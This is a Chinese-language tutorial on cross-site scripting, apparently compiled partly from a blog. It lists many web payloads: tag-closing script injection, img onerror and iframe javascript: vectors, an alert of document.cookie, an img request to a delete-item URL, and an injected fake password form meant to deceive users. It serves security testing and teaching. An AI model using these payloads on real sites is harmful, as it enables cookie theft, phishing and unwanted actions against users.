白盒状态下,检测源码中用户输入的地方和变量是否对长度和对”〈”,”〉”,”;”,”’”等字符进行过滤。
黑盒测试时,有时输入〈script〉alert(‘test’)〈/script〉,代码没有被执行的,因为在源代码里,可能有其它的标签未闭合,如少了一个〈/script〉,这个时候,只要闭合一个〈/script〉,代码就会执行,如:在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。
html标签中 属性onerror和onload可以被用来自动加载构造的代码。
例如:
<img src=x οnerrοr=;;alert('XSS') />
或者
<img src="images/logos/owasp.jpg" οnlοad="JavaScript:alert('XSS')"/>
PS:img标签可以<img />代替标签对的作用。
再PS:Javascript可以用上述的形式调用,而不需要尖括号的标签对引入,WHY?
<img src=x οnerrοr=alert(document.cookie)>
或者 <img src=”http://www.paipai.com/delitem?itemid=232131312”>
再例:
在iframe标签中也可以实现攻击
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
Iframe是Inline Frame的缩写,称为内联框架(即嵌入式框架),它和frame如同兄弟。
frame是帧标记,Iframe叫浮动帧标记,它不同于Frame标记最大的特征即这个标记所引用的HTML文件不是与另外的HTML文件相互独立显示,而是可以直接嵌入在一个HTML文件中,与这个HTML文件内容相互融合,成为一个整体;因为它可以多次在一个页面内显示同一内容,而不必重复写内容。
iframe可以很方便的在网页的任何地方,引入其他页相对<frame> 来说灵活很多,而且可以利用iframe中网页的javascript编程,还可以灵活的来控制iframe和parent之间的关系。
Iframe标记使用格式,如下:
<Iframe src="yourframe.htm" width="700" height="100" scrolling="NO" frameborder="0" name="main"></iframe>
其中的各个含义是:
src: 文件的路径,既可是HTML文件,也可以是文本、ASP等;
width、height:“内部框架”区域的宽与高;
scrolling:当SRC的指定的HTML文件在指定的区域内显示不完时的滚动选项,如果设置为NO,则不出现滚动条;如为Auto:则自动出现滚动条;如为Yes,则显示滚动条。
FrameBorder:区域边框的宽度,只有0和1两个值,分别表示没有边框和有边框,为了让“内部框架”与邻近的内容相融合,常设置为0。
name:框架的名字,用来进行识别。
在要显示位置加入password输入框
Please enter your password:
<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR><BR>
这么多BR标签的用处是增加许多新的行 使得呈现出来的页面将原有的输入框排到下方,而直接将构造出的新的password输入框呈现出来,欺骗用户进行输入。
PS:input控件的type属性置为password,用户输入时就看不到密码原文,以黑点代替!
以下内容则摘自
http://www.gracecode.com/archives/2491/
Javascript 代码注入
Javascript 代码注入主要表现为直接引用未经校验的字符串、解析不安全的 JSON 数据(包括 JSONP)等。
很多时候会写这样的代码
document.write('u name is' + name);
这就会形成一定的安全性问题(如果服务器端没有过滤的话),比如 name 为下面的数据,在没有经过过滤时
';alert('xss');//
";alert('xss');//
'';!--"<xss>=&{()}
就会破坏原有代码结构,插入不期望的代码。
HTML 标签注入
HTML 注入是较为常见的一种方式,主要的注入入口为不周全的正则过滤、内联样式(针对 Exploer),下面是常见的注入代码
逃过不周全的正则过滤,解决方案为使用 PHP 的 htmlspecialchars 以及 htmlentities 等类似函数转义。
<sCrIpT src=xss.js></sCrIpT>
<script src=xss.js> </script>
<script/xss src="xss.js"></script>
<script/SRC="xss.js"></script>
<<script>alert("xss");//<</script>
<script>a=/xss/ alert(a.source)</script>
从图片标签中注入,在些论坛上比较常见
<img src="javascript:alert('xss');">
<img """><script>alert("xss")</script>">
<img src="xss.php?param">
从连接标签上注入(虽然本人没有发现过案例,不过也不能轻视)
<script a=">" SRC="xss.js"></script>
<script =">" SRC="xss.js"></script>
<script a=">" '' SRC="xss.js"></script>
其他容易注入的地方
<body οnlοad=alert('xss')>
<iframe src="javascript:alert('xss');"></iframe>
<embed src="xss.swf" AllowScriptAccess="always"></embed>
<meta http-equiv="Set-Cookie" content="USERID=<script>alert('xss')</script>">